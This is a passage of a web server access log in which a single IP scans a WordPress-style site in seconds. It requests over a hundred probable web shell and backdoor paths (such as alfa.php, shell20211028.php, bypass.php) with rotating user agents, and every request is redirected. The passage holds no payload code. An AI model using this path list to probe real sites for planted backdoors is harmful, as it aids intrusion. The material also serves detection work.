Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:10 -0400] "GET /wp-content/plugins/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:16:10 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:16:10 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:11 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:11 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:11 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:11 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:11 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:11 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:16:11 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:11 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:16:12 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:12 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:16:12 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:12 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:13 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:13 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:13 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:16:13 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:14 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:14 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:14 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:16:14 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:14 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:14 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:16:14 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:16:15 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:15 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:15 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:15 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:16:15 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:16:15 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:16:16 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:16:16 -0400] "GET /about/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:16 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:16 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:16 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:16 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:16 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:17 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:17 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:17 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:17 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:17 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:16:18 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:18 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:16:18 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:18 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:16:18 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:16:18 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:18 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:18 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:19 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:16:19 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:19 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:19 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:16:19 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:19 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:19 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:19 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:20 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:20 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:20 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:20 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:20 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:16:20 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:16:20 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:20 -0400] "GET /rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:16:21 -0400] "GET /wp-content/plugins/rex/l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:16:21 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:21 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:16:21 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:21 -0400] "GET /.well-known/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:21 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:21 -0400] "GET /chosen.phppload HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:22 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:16:22 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:22 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:22 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:22 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:16:22 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:23 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:23 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:23 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:23 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:23 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:23 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:23 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:23 -0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:16:24 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:16:24 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:24 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:24 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:16:24 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:16:24 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:24 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:24 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:24 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:24 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:25 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:25 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:16:25 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:25 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:25 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:16:25 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:25 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:16:26 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:26 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:26 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:26 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:26 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:16:26 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:27 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:27 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:16:27 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:16:28 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" 